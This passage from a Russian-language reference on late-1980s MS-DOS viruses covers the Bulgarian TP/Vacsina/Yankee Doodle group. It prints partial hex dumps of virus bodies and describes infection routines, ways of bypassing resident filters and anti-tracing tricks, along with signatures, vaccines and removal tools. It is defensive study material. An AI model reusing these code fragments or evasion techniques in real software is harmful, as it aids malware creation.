000: 8CD80E1F50E80000 5B81EB080153B4AB   ....P...[....S..
010: CD213D55557503E9 D0008CC02D01008E   .!=UUu......-...
020: D8BB03003E8B072D EA003E8907061FBB   ....>..-..>.....
030: 02003E8B072DEA00 3E89078EC0BF0001   ..>..-..>.......
040: BE00015B5301DE0E 1FB9A406F3A48BD0   ...[S...........
050: EB74909CFB80FCAB 7505B855559DCF3D   .t......u..UU..=
060: 003D754050535152 565706B9410030C0   .=u@PSQRVW..A.0.
070: 8BFA1E07F2AE83EF 048BF7560E07B904   ...........V....
080: 00BF8902F3A683F9 0075045EEB0D90BF   .........u.^....
090: 8C02B904005EF3A6 83F900075F5E5A59   .....^......_^ZY
...  ..  ..  ..  ..   ..  ..  ..  ..     .. .. .. .. ..
0A0: 5B58740950FEC43D 004C587513505351   [Xt.P..=.LXu.PSQ
0B0: 525657061EE91F01 1F075F5E5A595B58   RVW......._^ZY[X
0C0: 9DEA60142B028EDA B82135CD213E891E   ..`.+....!5.!>..
0D0: C2013E8C06C4013E 891E75033E8C0677   ..>....>..u.>..w
0E0: 038D165301B82125 CD215ABBB00201D3   ...S..!%.!Z.....
0F0: 2E803F0074411F8C D80E1F8BCA5F0750   ..?.tA......._.P
170: FC8A0434BB880546 47E2F6B800015B50   ...4...FG.....[P
180: C3F7854006CC7DE5 1145584565786555   ...@..}..EXEexeU
190: 767F637473717560 566F726F6E657A68   v.ctsqu`Voronezh
1A0: 2C3139393020322E 3031B430CD213C00   ,1990 2.01.0.!<.
1B0: 0100081A00110300 000000002A390000   ............*9..
...  ..  ..  ..  ..   ..  ..  ..  ..     .. .. .. .. ..
5B0: 595B53BA4007CD21 B80042BA0000B900   Y[S.@..!..B.....
5C0: 00CD21BB1001BE83 028B0CBA0001B440   ..!............@
5D0: 5B53CD215B5A5953 B80157CD218B16D4   [S.![ZYS..W.!...
5E0: 028E1ED202B80143 2E8B0ED002CD210E   .......C......!.
5F0: 1F5BE80300E9C0FA B8003ECD218B1E85   .[........>.!...
600: 028E068702B82425 CD21C3558BEC1EB8   ......$%.!.U....
610: 01438B16D4028E1E D20231C9CD217306   .C........1..!s.
620: 1F5D58E945FF368B 5E04B8003ECD21B8   .]X.E.6.^...>.!.
630: 023DFA9C2EFF1EC2 011F368946045DC3   .=........6.F.].

        5.2.4. Другие представители иерусалимской группы.

  Как уже указывалось, вирусы иерусалимской группы относятся к од-
ним из самых распространенных. Среди них следует отметить первоап-
рельскую подгруппу, а также вирус FU MANCHU. В настоящее время эти
вирусы в СССР еще не выделены. Некоторые сведения о них приводятся
в прил. 3.

                      5.3. Группа TP-вирусов

  Данная группа  резидентных вирусов  имеет болгарское происхожде-
ние. По  данным В.Бончева, они написаны техно-крысой из софийского
вуза ВМЕИ  им. В.И.Ленина  (теперь Технический университет). В нее
входит 12  отличающихся друг от друга, но несомненно принадлежащих
одному автору  штаммов. Вирусы  разработаны в  конце 1988 -- начале
1989 г. Впервые эти  штаммы были описаны В.Бончевым  ( окончившим,
кстати, ВМЕИ им. В.И.Ленина в 1984 г.), который, по его  собствен-
ному признанию, знаком с написавшей их техно-крысой. Об этом, так-
же, свидетельствуют  и некоторые  факты. Во-первых,  в статье  [ ]
В.Бончев утверждает,  что заражение  EXE-файла несколько  сложнее,
чем COM- файла, но возможно, хотя на самом деле сложность  зараже-
ния COM- и  EXE- файлов примерно  равны. И, действительно,  первые
штаммы вирусов данной группы заражают EXE-файл специальным,  более
сложным способом, основанным на предварительной переделке EXE-фай-
ла в COM- файл. Во-вторых, бросается в глаза подробность, с  кото-
рой  в  [14]  описаны  технические  решения, использованные в ряде
штаммов этой  группы, причем  само описание  ведется с характерной
скорее для  разработчика, чем  для исследователя,  точки зрения. В
первой статье, где упомянуты вирусы данной группы [КВ.3-4'89], уже
указана  такая  "тонкая"  подробность,  как  "вытеснение" старшими
штаммами группы штаммов с  меньшими номерами в зараженных  файлах,
хотя в самой статье  упоминаются только вирусы подгруппы  VACSINE,
для которых "вытеснение" имеет место лишь в оперативной памяти.  В
третьих, в статье [13] указывается,  что автором создан и фаг  для
этой группы вирусов, а единственным известным болгарским полифагом
для данной группы является программа TP48CLS В.Бончева т.е. неиск-
лючено, что алгоритм "выкусывания" был предоставлен В.Бончеву  са-
мим автором этих вирусов.
  По оценке большинства исследователей, вирусы написаны специалис-
том высокой квалификации. Ни один из вирусов этой группы не ориен-
тирован на нанесение вреда данным или программам на зараженном  им
компьютере. Для большинства представителей этой группы отличитель-
ным признаком является строка F47Ah в начале тела вируса за  кото-
рой следует  номер штамма.  При этом,  кроме версии  TP-45 (Yankee
Doodle-2D), указанная строка повторяется в конце тела вируса, т.е.
в конце зараженного им файла, что позволяет быстро определить вер-
сию заразившего тот или иной файл вируса путем просмотра дампа па-
мяти. Как видно из приводимых ниже дампов, байт F4h расположен  со
смещением 4 от конца, а байт  7Ah -- со смещением 3. Следующий  за
этой парой байтов (F4h, 7Ah) байт и определяет номер штамма. Штам-
мы, входящие в данную группу можно разделить на три подгруппы.
  1) Подгруппа VACSINA (TP-4, TP-5 и TP-16). Это первые представи-
тели данной группы, разработанные примерно в конце 1988 г. Все они
содержат строку  "VACSINA", выполняют  преобразование EXE-файлов в
COM-файлы в два этапа и не заражают файлов размером больше 64К.
  2) Подгруппа  музыкальной перезагрузки  (ТР-24 и TР-25). Штаммы,
входящие в  данную подгруппу,  играют мелодию  Yankee Doodle Dendy
при перезагрузке.  Ограничение на размер заражаемых EXE-файлов со-
храняется.
  3) Подгруппа  музыкальных самоедов  (TP-33, TP-34, TP-38, TP-39,
TP-41,  TP-44  и  TP-45).  Штаммы,  входящие  в  данную  подгруппу
разработаны примернов  марте-апреле 1989  г. Они  играют указанную
выше мелодию в 17 часов, а начиная с TP-38 обладают средствами об-
хода резидентных  фильтров и  защиты от  трассировки на зараженной
машине. Размер  заражаемых EXE-файлов  не ограничен,  а  заражение
ведется общепринятым способом.
  В первом  приближении "динамика" изменений свойств данной группы
вирусов может быть представлена следующим образом (изложение бази-
руется на  материалах, предоставленных  Д.Н.Лозинским): до  версии
TP-05 при заражении портится дата создания файла; до TP-09 включи-
тельно при  заражении COM-файла  требуется, чтобы  первой командой
программы была JMP (т.е. файл начинался с кода E9).
  До TP-16  заражение EXE  программ произходит  в  два  этапа.  На
первом этапе  EXE-программа трансформируется  в COM-формат,  путем
дописывния специального  "псевдозагрузчика"  размером  132  байта,
присоединяющегося по  типу  вируса,  но  лишенного  способности  к
самостоятельному размножению. Следует отметить, что преобразование
EXE-файла  в   COM-файл,  выполняемое   вирусом,   отличается   от
преобразования,  выполняемого   утилитой  EXE2COM  и,  тем  самым,
представляет некоторый  самостоятельный интерес.  На втором  этапе
получившийся агрегат  заражается  как  обычный  COM-файл  (полифаг
AIDSTEST распознает такой "агрегат" и помечает его в протоколе как
(FL)).
  Следующие версии,  включая TP-34,  также преобразуют  файлы типа
EXE в файлы типа COM, однако делают это в один прием. По-видимому,
штаммов от  TP-16 до  TP-24 вообще не существует. Начиная с версии
TP-35 EXE-программы сохраняют свой формат, причем во всех заражае-
мых модулях  со смещением 12h от начала стоит расстояние до начала
вируса, деленное  на 16.  Одновременно в начале вируса дублируется
сигнатура F47A и номер версии. Версия TP-45 при заражении EXE-про-
граммы в  конец файла эту информацию не пишет. С версии TP-24 раз-
множение не обнаруживается резидентными антивирусными программами,
следящими за записью в программные файлы, поскольку вирус передает
управление непосредственно в BIOS, обходя сторожей. С версии TP-33
вирусы принимают  меры защиты  от трассировки.  В предыдущей главе
описан нерезидентный  вирус E-1961,  называемый SCAN Yankee Doodle
Short длиной  1961 байт,  однако с  данной группой  его объединяет
только общность играемой мелодии.
  Для данного  семейства вирусов просматривается прямая аналогия с
описанной выше  игрой Animal,  хотя конструктивная  цель в  данном
случае отсутствует.  Номер версии вируса используется данным виру-
сом для идентификации себя в оперативной памяти и возвращается ре-
зидентными частями  вируса при  выполнении прерывания  21-C500 для
версий 19h,  21h, 22h  или 21-C600  для версий  26h, 29h, 2Сh. При
этом, если  запускать поочередно файлы, зараженные вирусами разных
версий в порядке возрастания версий, то в оперативной памяти будет
создана как бы цепочка резидентных вирусов, причем при запуске не-
зараженной программы  она будет инфицирована версией вируса с наи-
большим номером.  Если же  начать загружать зараженные программы в
порядке убывания  версии вируса,  то версии с меньшими номерами не
будут становиться резидентными. Используя эту идею, В. Пономаренко
создал резидентную  поливакцину NEATVAC (СП 2-7), позволяющую бло-
кировать заражение оперативной памяти данным вирусом.
  Кроме того, и это существенно усиливает аналогию с игрой Animal,
резидентный вирус,  входящий в подгруппу самоедов, при попытке за-
ражения некоторой  программы не  только контролирует, заражена уже
эта программа или нет, но и определяет номер версии, если програм-
ма уже  заражена одним из вирусов данной группы. Дальнейшие дейст-
вия вируса зависят от того, больше этот номер версии его собствен-
ного номера или нет. Если программа заражена вирусом с меньшим но-
мером, то  вирус заменит эту версию на свою, предварительно "выку-
сив" старую.  Поскольку вирус  при этом проверяет только последние
байты файла,  можно вакцинировать файл от большинства вирусов этой
группы,  дописав в конец строку F4 7A FF 00.
  Полидетектор SCAN  называет представителей данной группы вирусов
"Vacsina virus  [Vacs]" или "Yankee Doodle Virus [Doodle]", причем
ранние (до  66) версии SCAN часто выдают для зараженного файла оба
имени одновременно,  что обычно не означает заражения модуля двумя
вирусами, а связано с несовершенством используемых в нем сигнатур.

                     5.3.1. Подгруппа Vacsina

  Данная подгруппа  получила свое  название в связи с тем, что все
входящие в  нее штаммы  содержат строку  "VACSINA". Заражаются как
COM-, так и EXE-файлы, причем максимальная длина зараженных файлов
не превышает  64К. Заражение  файлов происходит при запуске на вы-
полнение соответствующих  программ. При  заражении  вирусы  данной
подгруппы дописывают  свое тело  в конец COM- и EXE-файлов. Штаммы
подгруппы работоспособны  на любой  версии MS DOS. Проверка номера
версии в теле вируса не выполняется. Перехватывают прерывание 21h.
  Заражаются только COM-файлы, имеющие размер мeнее 63К и начинаю-
щиеся с команды перехода (первый байт файла должен содержать E9h).
Дата создания  и атрибуты остаются неизменными. Заражение выполня-
ется однократно.  При заражении вирус дописывает тело в конец фай-
ла, вставляя в первые три байта команду перехода на начало вируса.
Длина зараженного  файла увеличивается  до значения,  кратного 16,
поэтому при  лечении недостаточно  укорачивать файл на стандартную
величину -- исходная  длина файла должна быть извлечена из тела ви-
руса. В  конце тела вируса хранятся байты F4h, 7Ah, по которым ви-
рус определяет, что данный СOM-файл уже заражен.
  Как уже  отмечалось,  заражение  EXE-файлов  выполняется  данной
группой очень своеобразно: в заголовок заражаемого EXE-файла запи-
сывается команда  перехода на  тело вируса  (в данном  случае тело
представляет собой часть вируса размером 132 (84h), обеспечивающую
загрузку EXE-файлов, т.е. по сути выполняет функции системного за-
грузчика). Таким образом, вирус переделывает зараженный EXE-файл в
COM-файл. Этот "псевдозагрузчик" EXE-файлов обеспечивает настройку
загруженного в память файла и передачу на него управления. Для ле-
чения такого файла достаточно восстановить первые три байта с уче-
том первоначальной длины файла и укоротить файл на 132 байта. EXE-
файлы, требующие  не всю  свободную память  системы (не равна FFFF
переменная MaxMem в заголовке), данным вирусом не заражаются. Кро-
ме того,  вирус не  заражает файлы,  размер которых больше 64К или
размер которых  превысил бы 64К при заражении. Поскольку после за-
ражения EXE-файл  фактически превращается в COM-файл, возможно его
вторичное заражение вирусом, уже как файла типа COM.

            5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5)
  Данный вирус является наиболее распространенным в подгруппе, по-
этому рассмотрение  подгруппы мы  начнем именно  с него. Формально
вирус RСE-1206  является файловым  резидентным вирусом, поражающим
как файлы  типа СОМ,  так и файлы типа EXE. Зараженный COMMAND.COM
имеет размер  26509 байтов  (если его  первоначальный  размер  был
25307 байтов). Длина вируса составляет 1206 (4B6h) байтов. Заража-
ются COM-файлы  длиной от  1206 (4B6h)  до 62867  (F593h) байтов и
EXE-файлы длиной  до FDB3h байтов при загрузке их в память для вы-
полнения (21-4Bh).
  Инсталляция вируса  выполняется обычным  образом. При выполнении
зараженной COM-программы  управление командой JMP (Е9h) передается
на начало  вируса. Первыми  командами вирус узнает длину исходного
файла и  проверяет наличие  своей копии  в памяти компьютера. Если
компьютер не  заражен, то вирус копирует всю программу в свободное
место в памяти и, таким образом, остается резидентным. Затем вирус
перехватывает прерывание 21h.  В результате при запуске любой про-
граммы вирус получает управление, проверяет, является ли запускае-
мая программа зараженной, и если нет, то заражает данную программу
на диске.  Определение зараженности программы основано на считыва-
нии последних 3 байтов зараженной программы.
  У заражаемого  COM-файла вирус  проверяет первый байт. Если этот
байт не равен E9h (JMP), то файл не заражается. При заражении дли-
на файла  увеличивается до  значения, кратного  параграфу (16 бай-
тов), к файлу добавляются 1206 байтов вируса и изменяются первые 3
байта файла  (JMP на  тело вируса). При заражении EXE-файла к нему
дописываются 132  байта из тела вируса и изменяются первые 3 байта
файла (JMP  на тело  вируса), при этом файл преобразуется в формат
COM. Дописанные к файлу 132 байта не распространяют вирус и лишены
способности к размножению. Их действие заключается в настройке ад-
ресов программы при ее запуске (псевдозагрузчик).
  Фаза проявления для данного вируса привязана к моменту заражения
файла: при заражении файла раздается звуковой сигнал (BELL).
  Резидентная часть  вируса обнаруживается  путем просмотра списка
резидентных программ  (с помощью  утилит MAP,  SMAP, MMAP и т.д.).
При этом видна "подозрительная" дополнительная программа, не имею-
щая ни  имени, ни родителя и имеющая размер 1200 байт. Являясь ре-
зидентным, вирус  распознает случаи загрузки программ с защищенных
от записи  дискет или  разделов винчестера  и не пытается заражать
такие файлы.
  При запуске вирус создает на диске скрытый файл, который, по-ви-
димому, никакого назначения не выполняет и, возможно, использовал-
ся при отладке.
  Исторические замечания.  По данным  статьи Бончева  [11],  вирус
имеет болгарское происхождение и разработан в конце 1988 г. В Мос-
кве вирус появился весной 1989 г. В Киеве появился вместе с компь-
ютерами, приобретенными у одного из московских кооперативов в сен-
тябре 1989  г. Из советских авторов вирус RСЕ-1206 впервые, по-ви-
димому, описал О.Котик в документации к полифагу ANTI-KOT, который
был первым  фагом против данного вируса, широко использовавшимся в
Киеве.
  Неформальные  названия.   Помимо  приведенных   выше   названий,
используется название Sina.
  Программные средства защиты. Фаги см. прил.1. Вакцина -- NEATVAC.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1206

100   E9C90A9090909090  9090909090909090  ................
110   9090909090909090  9090909090909090  ................
***   Далее следуют строки, идентичные предыдущей ***
810   9090909090909090  9090909090C31A90  ................
820   4D07004B00000000  0000000000000000  M..K............
830   60020B105605AB0E  2000050090909090  `...V... .......
840   9090C31A00564143  53494E4120202020  .....VACSINA
850   0000800000000000  7C1137A80040C200  ........|.7..@..
860   460A000000000000  0020202020202020  F........
870   2020202020202020  2020202020E80000               ...
880   5B508CC00510008B  0E0E0103C8894FFB  [P............O.
890   8B0E160103C8894F  F78B0E1001894FF9  .......O......O.
8A0   8B0E1401894FF58B  3E18018B160801B1  .....O..>.......
8B0   04D3E28B0E0601E3  1726C5B5000183C7  .........&......
8C0   048CDD26032E0801  03E88EDD0104E2E9  ...&............
8D0   0E1FBF00018BF281  C600018BCB2BCEF3  .............+..
8E0   A458FA8E57FB8B67  F9FBFF6FF5B003CF  .X..W..g...o....
8F0   9C3D004B74069D2E  FF2E0000061E5557  .=.Kt.........UW
900   56525153508BECB8  2435CD212E8C0606  VRQSP...$5.!....
910   002E891E04000E1F  BABD00B82425CD21  ............$%.!
920   0E1FBA1400B40FCD  21B800438E5E0E8B  ........!..C.^..
930   5606CD217303E9DA  012E890E0800B801  V..!s...........
940   4380E1FECD217303  E9C801B8023D8E5E  C....!s......=.^
950   0E8B5606CD217303  E9A8012EA30A008B  ..V..!s.........
960   D80E1FBA0C00B906  00B43FCD2172193D  ..........?.!r.=
970   060075142E813E0C  004D5A7503E9B501  ..u...>..MZu....
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
C80   2E8B162C004A8EC2  268C0E0100B82135  ...,.J..&.....!5
C90   53CD21368C060200  36891E00005BB821  S.!6....6....[.!
CA0   258CD28EDABAC000  CD21B800008EC026  %........!.....&
CB0   C706C5007F3926C6  06C700058CC88ED8  ....9&.........
CC0   B41ABA5000CD212E  8B47FBE94EFF1F07  ...P..!..G..N...
CD0   0502F47A0500                        ...z..
          +----+
         сигнатура

       Пример карты памяти зараженного компьютера
 Addr    Program   Parent   Sg   Bytes   Hooked Vectors
------  --------  --------  --  ------  -----------------
(1111)  DOS       N/A        2    3536
(17E8)  DOSEDIT   DOS        2    2016  21
(11F9)  DOSEDIT   DOS        2    2032
(127B)  BETA      DOS        2    4064
(137B)  N/A       DOS        1    3808  03  43
(146A)  N/A       DOS        1     928  10
(14A5)  N/A       DOS        1    1264
(14F5)  N/A       DOS        1     912  09
(152F)  N/A       DOS        1     736  16  2F
(155E)  N/A       DOS        1     560
(1582)  N/A       DOS        1    3296
(1651)  N/A       DOS        1    5280  17
(0007)  N/A       N/A        1    1200

           5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04).
  За исключением  нескольких команд,  вирус практически  полностью
совпадает с  вирусом VASCINA-05. Длина вируса составляет 1212 бай-
тов. Иногда портит дату создания файла.
  Исторические сведения. Вирус распространялся на вирусной дискете
В.Бончева.  Содержащийся  на  ней  файл  TP4VIR.COM  датирован  13
декабря 1988 г.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1212

000: E969089090909090 9090909090909090  .i..............
010: 9090909090909090 9090909090909090  ................
***  последующие строки идентичны предыдущей ***
4C0: 4D07004B00000000 0000000000000000  M..K............
4D0: 5C06FD1856059D10 2000050090909090  \...V... .......
4E0: 9090909005564143 53494E4120202020  .....VACSINA
4F0: 0000800000000000 7011C3900240C200  ........p....@..
500: D009000000000000 0020202020202020  .........
510: 2020202020202020 2020202020E80000               ...
520: 5B508CC00510008B 0E0E0103C8894FFB  [P............O.
530: 8B0E160103C8894F F78B0E1001894FF9  .......O......O.
540: 8B0E1401894FF58B 3E18018B160801B1  .....O..>.......
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
920: 5B2E8C0E36002E8B 162C004A8EC2268C  [...6....,.J..&.
930: 0E0100B8213553CD 21368C0602003689  ....!5S.!6....6.
940: 1E00005BB821258C D28EDABAC000CD21  ...[.!%........!
950: B800008EC026C706 C5007F3926C606C7  .....&.....9&...
960: 00048CC88ED8B41A BA5000CD212E8B47  .........P..!..G
970: FBE948FFC0040301 F47A0400          ..H......z..
                     +--------+
                      сигнатура

           5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10)
  Длина этого  вируса 1339 (53Bh) при заражении COM- и 1483 -- EXE-
файлов. Как и во всех вирусах рассматриваемой подгруппы, заражение
EXE-файлов происходит в две стадии. После первой стадии файл удли-
няется на 132 байта. Никаких действий, кроме размножения, вирус не
выполняет. Заражаются  COM-файлы длиной  от 1339  (53Bh) до  62601
(F489h) байтов  и EXE-файлы длиной до FDB3h байтов при загрузке их
в память для выполнения (21-4Bh). По структуре вирус довольно бли-
зок к RCE-1206 (VASCINA-05), однако заражает COM-файлы вне зависи-
мости от  первого байта  файла (вирус  VACSINA-05 заражает  только
файлы, первый байт которых равен E9h).

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1339

000: E94D099090909090 9090909090909090  .M..............
010: 9090909090909090 9090909090909090  ................
*** Последующие строки идентичны предыдущей ***
540: 4D08005300000000 0000000000000000  M..S............
550: 5C06FD1856059D10 20000500AE002100  \...V... .....!.
560: 9090909090909090 9090909090900056  ...............V
570: 414353494E412020 2020000080000000  ACSINA    ......
580: 00009C11FB750140 C200460A00000000  .....u.@..F.....
590: 0000002020202020 2020202020202020  ...
5A0: 20202020202020E8 00005B508CC00510         ...[P....
5B0: 008B0E0E0103C889 4FFB8B0E160103C8  ........O.......
5C0: 894FF78B0E100189 4FF98B0E1401894F  .O......O......O
5D0: F58B3E18018B1608 01B104D3E28B0E06  ..>.............
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
A40: 00005BB821258CD2 8EDABACA00CD21B8  ..[.!%........!.
A50: 00008EC026C706C5 007F3926C606C700  ....&.....9&....
A60: 108CC88ED8B41ABA 5000CD212E8B47FB  ........P..!..G.
A70: E92DFF40050301F4 7A10E9            .-.@....z..
                   +-----+
                  сигнатура

            5.3.2. Подгруппа музыкальной перезагрузки

  Штаммы, входящие  в данную группу, имеют характерную фазу прояв-
ления: в  зараженной ими системе попытка перезагрузки MS DOS с по-
мощью комбинации  нажатий клавиш  CTRL-ALT-DEL вызывает  в  начале
звучание мелодии "Янки дудль денди". Звучание продолжается пример-
но 20 с., а затем происходит нормальная перезагрузка системы.

        5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 --
             Янки дудль-19, Музыкальная перезагрузка)
  Вирус RСE-1805 является файловым резидентным вирусом, поражающим
как файлы  типа СОМ, так и файлы типа EXE. Заражение файлов проис-

ходит при запуске на выполнение соответствующих программ. Заражает
COMMAND.COM. Вирус работоспособен на любой версии MS DOS.
  При запуске зараженной программы данный вирус сначала проверяет,
имеется ли  уже резидентный вирус, по описанной выше схеме, единой
для данной группы. При этой проверке возвращается номер версии ре-
зидентного вируса,  если он  есть в оперативной памяти. Если номер
версии резидентного вируса меньше, чем номер версии вируса в зара-
женной программе  или вирус  в оперативной  памяти отсутствует, то
старшая версия вируса из зараженной программы становится резидент-
ной и перехватывает прерывания 09 и 21.
  Заражение  выполняется  при  запуске  программы  на  выполнение.
Получив управление  по прерыванию  21-4B вирус проверяет, является
ли запускаемая  программа зараженной, и если нет, то заражает дан-
ную программу  на диске.  При этом вирус изменяет первые 14 байтов
зараженной программы  и дописывает  в конце  программы собственное
тело. Определение  зараженности программы  основано на  считывании
последних 8  байтов зараженной  программы. Подобно вирусу RC-1701,
RCE-1805 не  проверяет, загружается  ли файл  с защищенной дискеты
или нет.
  Зараженные файлы  увеличиваются в  размере на  1805-1820 байтов,
причем дата их создания и атрибуты остаются неизменными. Заражение
выполняется однократно.
  Фаза проявления была описана выше. Никаких других несанкциониро-
ванных действий,  кроме проигрывания  мелодии при  нажатии  клавиш
CTRL-ALT-DEL, вирус не выполняет.
  Резидентная часть  вируса обнаруживается  путем просмотра списка
резидентных программ  (с помощью  утилит MAP,  SMAP, MMAP и т.д.).
При этом видна "подозрительная" дополнительная программа, не имею-
щая ни  имени, ни  родителя и имеющая размер 1792 байт. При этом в
графе "Hooked  vectors" не указано ни одного перехваченного преры-
вания, что,  конечно же,  не соответствует действительности. Вирус
обращается к 21 прерыванию непосредственно, а не с помощью команды
INT, что обеспечивает обход простейших фильтров типа VIRBLK.
  Исторические замечания.  Данный вирус  был обнаружен  в Киеве  в
июле 1989 г. Одним из первых этот вирус исследовали В.Е.Еременко и
Е.Ю.Портной, которые  самостоятельно разработали фаг для этого ви-
руса в сентябре 1989 г. Первым попавшим в Киев фагом против данно-
го  вируса   была  программа   VDEATH.  В  настоящее  время  вирус
практически полностью уничтожен.
  Программные средства  защиты. Рекомендуемые полифаги приведены в
табл.1. Вирус  содержит примитивные средства защиты против трасси-
ровки и  обхода резидентных  средств защиты.  В частности, попытки
записи вируса  в запускаемый  файл не обнаруживаются ни VIRBLK, ни
ANTI4US2. Фильтр  ANTI4US2 не  срабатывает на попытку вируса стать
резидентным. При  использовании Advanced  Disk Manager  вирус не в
состоянии попасть  в разделы  винчестера, для  которых  установлен
статус READ  ONLY. Однако  при этом  блокируется  вызов  программ.
Имеется резидентная вакцина (NEATVAC).

       Фрагмент дампа дрозофилы, зараженной вирусом RCE-1805

000: E9B5079090909090 9090909090909090   ................
010: 9090909090909090 9090909090909090   ................
***  Последующие строки идентичны предыдущей ***
400: 4D08007000000000 0000000000000000   M..p............
410: 050EC32B60142602 5605E3281101FB2A   ...+`.&.V..(...*
420: 2000050006052100 000000010C909090    .....!.........
430: 9090909090909090 909090FF2E10009C   ................
440: FA2EFF1E1400C353 502E8B1E2200B445   .......SP..."..E
450: E8ECFF72098BD8B4 3EE8E3FFEB01F858   ...r....>......X
460: 5BC3B003CF50E460 3C53752EB402CD16   [....P.`<Su.....
470: 240C3C0C75248CC8 8ED88ED0BCFEFF2E   $.<.u$..........
480: 803E2C000A7203E8 C405B800008ED8C7   .>,..r..........
490: 0672043412EAF0FF 00F0582EFF2E1C00   .r.4......X.....
4A0: 9C3D004B74613D00 C574483D01C57448   .=.Kta=..tH=..tH
4B0: 3D02C5744B3D03C5 740C9D2EFF2E1000   =..tK=..t.......
...  ..  ..  ..  ..   ..  ..  ..  ..     ..  ..  ..  ..
5F0: B900008BD18B1E22 00E843FE72E583FA   ......."..C.r...
600: 0075E03D200076DB 3D1DF09073D5A305   .u.= .v.=...s...
610: 07B80042B900008B D18B1E2200E81FFE   ...B......."....
620: 72C1BA2D00B90E00 B43FE812FE72B43D   r..-.....?...r.=
630: 0E0075AF813E2D00 4D5A740B813E2D00   ..u..>-.MZt..>-.
...  ..  ..  ..  ..   ..  ..  ..  ..     ..  ..  ..  ..   AA0:
C400DC00C400AE00 A400AE00C400DC00   ................
AB0: F600DC00AE00DC00 F6000601DC00C400   ................
AC0: 0601F60025010601 0601FFFF19191919   ....%...........
AD0: 1919191919191919 3232191919191919   ........22......
AE0: 1919191919193232 1A191A1919191919   ......22........
AF0: 1A191A1919191E1A 191A191919191E19   ................
B00: 1919193232000493 91F47A1990         ...22.....z..

        5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 --
             Янки дудль-18, Музыкальная перезагрузка)
  Данный штамм практически не отличается от предыдущего.

                Фрагмент дампа программы DUMY.COM,
                   зараженной вирусом RCE-1760

000: E9B8039090909090 9090909090909090  ................
010: 9090909090909090 9090909090909090  ................
020: 9090909090909090 9090909090909090  ................
030: 4D08006D00000000 0000000000000000  M..m............
040: 3903981460146402 56059D10E6049A11  9...`.d.V.......
050: 2000050045002100 000000012F909090   ...E.!...../...
060: 9090909090909090 909090FF2E10009C  ................
070: FA2EFF1E1400C353 502E8B1E2200B445  .......SP..."..E
080: E8ECFF72098BD8B4 3EE8E3FFEB01F858  ...r....>......X
090: 5BC3B003CF50E460 3C53752EB402CD16  [....P.`<Su.....
0A0: 240C3C0C75248CC8 8ED88ED0BCFEFF2E  $.<.u$..........
0B0: 803E2C000A7203E8 9705B800008ED8C7  .>,..r..........
0C0: 0672043412EAF0FF 00F0582EFF2E1C00  .r.4......X.....
0D0: 9C3D004B74613D00 C574483D01C57448  .=.Kta=..tH=..tH
0E0: 3D02C5744B3D03C5 740C9D2EFF2E1000  =..tK=..t.......
0F0: 9DFBF9CA0200B819 002EF6062B000275  ............+..u
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
630: C4E6615F5A5958C3 8B3C83FFFF74113E  ..a_ZYX..<...t.>
640: 8A5E002AC92AFFE8 C2FF83C6024575E8  .^.*.*.......Eu.
650: C3BE2B06BD9F06E8 DEFFC30601060125  ..+............%
660: 0149010601490125 01C4000601060125  .I...I.%.......%
670: 0149010601060106 010601250149015D  .I.........%.I.]
680: 01490125010601F6 00C400DC00F60006  .I.%............
690: 010601DC00F600DC 00AE00DC00F60006  ................
6A0: 01DC00C400DC00C4 00AE00A400AE00C4  ................
6B0: 00DC00F600DC00AE 00DC00F6000601DC  ................
6C0: 00C4000601F60025 0106010601FFFF19  .......%........
6D0: 1919191919191919 1919193232191919  ...........22...
6E0: 1919191919191919 1932321A191A1919  .........22.....
6F0: 1919191A191A1919 191E1A191A191919  ................
700: 191E191919193232 30009391F47A1890  ......220....z..
                               +----+
                              сигнатура

              5.3.3. Подгруппа музыкальных самоедов

  В данную  подгруппу входят  наиболее совершенные  штаммы  данной
группы вирусов. По-видимому, все представители данной группы игра-
ют в  17.00 мелодию  Янки Дудль  Денди, поэтому их иногда называют
Five o'clock  (Пять часов).  Штаммы, входящие  в данную  подгруппу
увеличивают свои функциональные возможности, с возрастанием номера
версии. Стиль написания вируса создает впечатление перекодировки с
языка высокого уровня. Возможно, прототип был предварительно напи-
сан на  Турбо Паскале,  отсюда и  название TP.  Для структуры этой
подгруппы характерно наличие многочисленных подпрограмм и активное
использование стека. При анализе дампов программ, зараженных штам-
мами данной подгруппы, обращает на себя внимание тот факт, что все
они содержат группы повторяющихся символов с кодом 05. Поэтому для
контекстного поиска  зараженных файлов  можно использовать строку,
состоящую из  восьми повторений  символа с шестнадцатиричным кодом
05.
  Начиная со  штамма RCE-2661  (ТР-38) в них применяется защита от
обнаружения фильтрами, перехватывающими прерывание 21. Примененный
прием основан  на выполнении трассировки программ, "сидящих" на 21
прерывании до  попадания в "оригинальный" обработчик MS DOS, и за-
поминании соответствующего  адреса. Кроме  того,  именно  с  этого
штамма наблюдается  эффект "самоизлечения"  зараженной  программы,
при попытке трассировки ее на зараженной вирусом машине.
  Среди данной  подгруппы впервые  встречается попытка реализовать
модификацию одного вируса другим вирусом. Начиная со штамма ТР-42,
вирус проверяет, заражен ли компьютер, на котором он распространя-
ется вирусом Bx1-1C (Пинг-понг). Если да, то выполняется модифика-
ция вируса Bx1-1C в памяти таким образом, что в код вируса вводит-
ся специальный  счетчик, инициализируемый значением 255. После за-
ражения дискеты  вирус уменьшает счетчик на единицу и при достиже-
нии счетчиком  значения нуль  перестает размножаться.  Кроме того,
начиная со штамма TP-44, мелодия играется не каждый раз при дости-
жении часами  значения 17.00, а с вероятностью приблизительно 1/8,
что несколько затрудняет обнаружение вируса.
  Наиболее распространенным  представителем этой  группы  является
штамм RCE-2885  (Five o'clock; TP-44), с которого мы и начнем опи-
сание представителей данной группы.

                 5.3.3.1. Штамм RCE-2885 (TP-44,
          Yankee Doodle-2C - Янки дудль-2С, Five o'clock)
  Вирус RСE-2885 является файловым резидентным вирусом, поражающим
